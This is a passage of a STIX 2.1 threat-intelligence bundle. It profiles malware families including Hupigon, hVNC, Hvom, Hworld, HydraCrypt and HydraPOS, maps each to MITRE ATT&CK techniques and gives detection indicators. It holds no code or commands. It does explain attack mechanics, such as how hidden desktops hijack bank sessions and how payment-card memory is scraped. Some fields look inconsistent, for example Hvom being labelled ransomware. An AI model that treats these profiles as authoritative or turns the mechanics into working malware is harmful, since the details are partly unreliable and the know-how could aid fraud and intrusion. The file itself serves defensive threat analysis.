      "spec_version": "2.1",
      "id": "malware--d1564a15-811c-5ad5-9ff7-f9b72297ec6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hupigon",
      "description": "Backdoor:Win32/Hupigon (universally known in China as Huigezi, translated as 'Grey Pigeon') is a classic, historically legendary Chinese Remote Access Trojan (RAT) created in 2001 by developer Huang Xin and subsequently proliferated across thousands of Chinese underground cybercrime and state-sponsored espionage operations. Functioning as a comprehensive remote administration platform, Hupigon was sold openly on Chinese web portals for technical support and remote access before being banned by Chinese authorities following massive media scrutiny and commercial banking breaches in 2007. The malware features full remote desktop streaming, audio surveillance, webcam hijacking, keylogging, arbitrary process injection, and reverse connection shell commands to bypass perimeter NAT firewalls. Hupigon established the architectural blueprint for an entire generation of Chinese cyber-espionage tools (including Gh0st RAT and Poison Ivy), serving as the initial intrusion backdoor in early PLA-linked cyber espionage operations against Western defense contractors, aerospace manufacturers, and political dissidents. (Observed samples in benchmark: 146)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Hupigon",
        "Huigezi",
        "Grey Pigeon",
        "Backdoor.Hupigon",
        "Win32/Hupigon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hupigon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hupigon"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--061768cf-0204-5c2e-a164-25a2cf11500c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1564a15-811c-5ad5-9ff7-f9b72297ec6e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hupigon exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ae2a23c-ac8a-5b1b-ba3c-6fa1ffe9faf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1564a15-811c-5ad5-9ff7-f9b72297ec6e",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hupigon exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fcb0617a-58c8-57b0-ba41-7fe832a171fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1564a15-811c-5ad5-9ff7-f9b72297ec6e",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hupigon exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01fa1282-fd4e-500b-b807-1b18d5e2bfd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1564a15-811c-5ad5-9ff7-f9b72297ec6e",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hupigon exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0792b524-53e5-545f-a9a3-3adbc233c38d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1564a15-811c-5ad5-9ff7-f9b72297ec6e",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hupigon exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--561df9ec-f028-5099-92f2-d53fa520a7a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d1564a15-811c-5ad5-9ff7-f9b72297ec6e",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hupigon exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d430953-d4f8-548e-8bf6-979276ad2ce9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hvnc",
      "description": "Backdoor:Win32/hVNC (Hidden Virtual Network Computing) represents a devastatingly stealthy class of Remote Access Trojans (RATs). While standard VNC is a legitimate tool allowing a user to view another computer's desktop, **hVNC is designed to create a completely separate, invisible virtual desktop session** on the infected machine. This allows an attacker to interact with the system, open web browsers, and execute transactions entirely behind the scenes, without the actual user sitting at the computer seeing any anomalous activity on their own screen.<br><br><b>Understanding hVNC (Hidden VNC)</b><br>To an end-user, an hVNC infection is undetectable; the mouse doesn't move on its own, and no strange windows pop up on their monitor. For a security analyst, hVNC is a nightmare scenario, often bundled as a premium module within advanced banking trojans (like TrickBot, Emotet, or DanaBot). Attackers use hVNC to bypass device fingerprinting and IP-based fraud detection; because the attacker is opening the browser *on the victim's actual machine*, the bank sees the login coming from the correct IP, the correct MAC address, and with all the victim's saved session cookies intact.<br><br><b>Execution and Virtual Desktop Mechanics</b><br>hVNC is typically deployed as a secondary payload after initial compromise (`T1105`). Upon execution, the malware interacts deeply with the Windows operating system APIs. It uses the `CreateDesktop` and `CreateProcess` APIs to spawn a new, hidden Window Station and Desktop object (`T1564.006`). It then launches applications (like Google Chrome) within this hidden desktop (`T1055`). The hVNC server component captures the frame buffer of this hidden desktop and streams it back to the attacker's C2 server (`T1071.001`), while intercepting the attacker's mouse and keyboard inputs and injecting them into the hidden session. This allows the attacker to log into bank accounts, bypassing 2FA if the victim's browser session is already authenticated.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total compromise of the endpoint and near-guaranteed financial fraud. Host-based IoCs require advanced EDR: look for anomalous processes (like a second instance of `explorer.exe` or `chrome.exe`) running under a non-default Window Station (e.g., something other than `WinSta0\\Default`). Network IoCs include a constant, high-bandwidth outbound stream of encrypted traffic (the VNC video feed) to a known C2 IP address. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hvnc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hvnc"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--26fb2d49-1821-517c-b3a4-c44516748128",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1564.006: Hide Artifacts: Run Virtual Instance (Creating the hidden Window Station/Desktop)",
      "description": "MITRE ATT&CK Technique T1564.006 (Hide Artifacts: Run Virtual Instance (Creating the hidden Window Station/Desktop)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1564.006",
          "url": "https://attack.mitre.org/techniques/T1564/006/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f6c60a1-acf6-5712-b1f0-8b5db853d7ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d430953-d4f8-548e-8bf6-979276ad2ce9",
      "target_ref": "attack-pattern--26fb2d49-1821-517c-b3a4-c44516748128",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hvnc exhibits technique T1564.006 (Hide Artifacts: Run Virtual Instance (Creating the hidden Window Station/Desktop))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01abfe66-8b93-5005-a622-f0a2a01bafd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d430953-d4f8-548e-8bf6-979276ad2ce9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hvnc exhibits technique T1055 (Process Injection (Spawning processes in the hidden context))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--357508d0-2024-5290-8872-fb164d4b9b4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d430953-d4f8-548e-8bf6-979276ad2ce9",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hvnc exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Streaming the VNC feed to C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bca7b3df-2825-557f-abaf-da78a9864b2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d430953-d4f8-548e-8bf6-979276ad2ce9",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hvnc exhibits technique T1185 (Browser Session Hijacking (Using the victim's browser and cookies))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3dc6a93f-c6ae-50b0-abcf-05917b557410",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hvom",
      "description": "Trojan:Win32/Hvom is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hvom</b><br>To an end-user, a Hvom infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hvom is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hvom is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hvom frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hvom reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hvom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hvom"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27836304-a744-5afe-8b2a-55ad4ef7ff48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dc6a93f-c6ae-50b0-abcf-05917b557410",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hvom exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9920f14e-3568-5251-8b78-e50b58f56029",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dc6a93f-c6ae-50b0-abcf-05917b557410",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hvom exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ce0ab01-6a3c-50f1-aaee-e3eec95500ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dc6a93f-c6ae-50b0-abcf-05917b557410",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hvom exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ab1308d-52b7-5c8b-8a1a-e6e1029d3bf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dc6a93f-c6ae-50b0-abcf-05917b557410",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hvom exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfd0cd65-65a9-5c60-ba27-c1457023a339",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3dc6a93f-c6ae-50b0-abcf-05917b557410",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hvom exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5912b345-cb9f-57c9-9e1b-931df57373d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hworld",
      "description": "Hworld (cataloged across antivirus vendors and threat repositories as Worm:Win32/Hworld.A, W32/HWorld.A, WORM_HWORLD.A, and Backdoor:Win32/Hworld) is a historical Windows portable executable (PE) worm and backdoor trojan active since 2002. Frequently analyzed in academic computer security benchmarks (such as USENIX Security and NDSS symposia) for evaluating binary reconstruction and low-entropy packing characteristics, Hworld spreads via malicious email attachments, peer-to-peer file sharing, and removable storage media. Upon execution, Hworld unpacks its encrypted core binary, drops randomized executables into %APPDATA% and %TEMP% system directories, and configures Registry Run keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) to guarantee startup persistence. Hworld connects to remote command-and-control servers via raw TCP sockets or IRC channels, granting unauthorized remote operators the capability to execute arbitrary commands, harvest local system credentials, download secondary malware payloads, and propagate across local network subnets. (Observed samples in benchmark: 166)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Hworld.A",
        "W32/HWorld.A",
        "WORM_HWORLD.A",
        "Backdoor:Win32/Hworld",
        "W32.Hworld.Worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hworld",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hworld"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34a954b4-0e63-54d7-b994-2d4fc7bbc41c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5912b345-cb9f-57c9-9e1b-931df57373d9",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hworld exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4d2044f-6304-555c-9b80-a944f8ba4726",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5912b345-cb9f-57c9-9e1b-931df57373d9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hworld exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9eed5a6-abcf-5266-9acd-d2de4a58f5fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5912b345-cb9f-57c9-9e1b-931df57373d9",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hworld exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11f82236-bb6f-5a46-a7c1-a96ee13845b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5912b345-cb9f-57c9-9e1b-931df57373d9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hworld exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4261cb2b-57c6-5b0f-9b60-53a6c6064116",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5912b345-cb9f-57c9-9e1b-931df57373d9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hworld exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--05b8ff09-aa48-5669-a9ba-b0fbff525181",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hydracrypt",
      "description": "HydraCrypt is a destructive crypto-ransomware family that surfaced in early 2016, engineered directly from the leaked source code of the CrypBoss ransomware family (which also spawned its close sibling, UmbreCrypt). Primarily distributed through weaponized exploit kit redirects (such as the Angler Exploit Kit) and brute-forced Remote Desktop Protocol (RDP) entry points, HydraCrypt targets workstation endpoints and network-attached storage (NAS) devices. The ransomware enumerates drives and encrypts files utilizing a combination of AES-256 and RSA cryptography, appending extensions including '.hydracrypt' or random alphanumeric suffixes. Notably, flaws in HydraCrypt's file header manipulation implementation frequently damaged the last 15 bytes of encrypted files, rendering standard decryption difficult. However, cybersecurity researchers at Malwarebytes and Emsisoft exploited a severe vulnerability in the CrypBoss cryptographic key generation algorithm, successfully developing and publishing a free decryption tool that enabled victims to fully recover their files without paying the ransom extortion demand. (Observed samples in benchmark: 180)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HydraCrypt",
        "Ransomware:Win32/Hydracrypt",
        "CrypBoss.HydraCrypt",
        "UmbreCrypt"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hydracrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hydracrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f84656bb-c81a-5e92-b0b6-f69f4fcd84d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--05b8ff09-aa48-5669-a9ba-b0fbff525181",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hydracrypt exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--665f66d1-ed8b-5a37-8127-a433b3b1de74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--05b8ff09-aa48-5669-a9ba-b0fbff525181",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hydracrypt exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e1e2336-5ea6-55b1-a5bc-a3111b717f9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--05b8ff09-aa48-5669-a9ba-b0fbff525181",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hydracrypt exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f8db357-3b43-5816-beb2-54903873dc91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--05b8ff09-aa48-5669-a9ba-b0fbff525181",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hydracrypt exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df12fb39-fd6b-526a-b228-cbdbe8cceeb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--05b8ff09-aa48-5669-a9ba-b0fbff525181",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hydracrypt exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26e045db-ced2-55f6-bb1f-b7f68beb7b63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--05b8ff09-aa48-5669-a9ba-b0fbff525181",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hydracrypt exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a04bcd8d-86c5-5341-a043-5f9ce773baf7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hydrapos",
      "description": "HydraPOS (classified in threat intelligence feeds as Trojan:Win32/HydraPOS and Trojan-POS.Win32.Hydra) is a specialized Point-of-Sale (POS) memory scraping malware family engineered to infiltrate retail, hospitality, and payment processing endpoints. Injected into memory spaces of payment handling processes (such as POS terminal transaction executables), HydraPOS continuously scans process memory buffers using regular expressions matching Track 1 and Track 2 magnetic stripe payment card data (including primary account numbers, cardholder names, expiration dates, and service codes) before the data is encrypted for transit. The harvested card data is stored in memory, encrypted using XOR/AES, and exfiltrated over covert HTTP/HTTPS channels or DNS tunneling to remote cybercrime infrastructure. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/HydraPOS",
        "Trojan-POS.Win32.Hydra",
        "PWS:Win32/HydraPOS",
        "HydraPOS Memory Scraper",
        "Win32/HydraPOS"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hydrapos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hydrapos"
        }
      ],
      "labels": [
        "pos_malware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--321da175-17db-5e7d-860d-cde2e8ac0f7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a04bcd8d-86c5-5341-a043-5f9ce773baf7",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hydrapos exhibits technique T1005 (Data from Local System (RAM Scraping))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e88ea80-0cb8-5432-bf10-a929e72b86b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a04bcd8d-86c5-5341-a043-5f9ce773baf7",
      "target_ref": "attack-pattern--aa37b729-2957-50b6-a521-ffdef2f42ea8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hydrapos exhibits technique T1057 (Process Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de851db5-0d40-5fb0-9d77-643d3f54313d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a04bcd8d-86c5-5341-a043-5f9ce773baf7",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hydrapos exhibits technique T1048.003 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6508cb6e-9977-5365-84f4-b139a86999b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a04bcd8d-86c5-5341-a043-5f9ce773baf7",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hydrapos exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3a6f6e7-1e72-5c59-9a53-d691395580f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a04bcd8d-86c5-5341-a043-5f9ce773baf7",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hydrapos exhibits technique T1078 (Valid Accounts (Initial Access to POS Network))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--868c2b36-3014-5d86-b5c9-7c02206a0946",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hype",
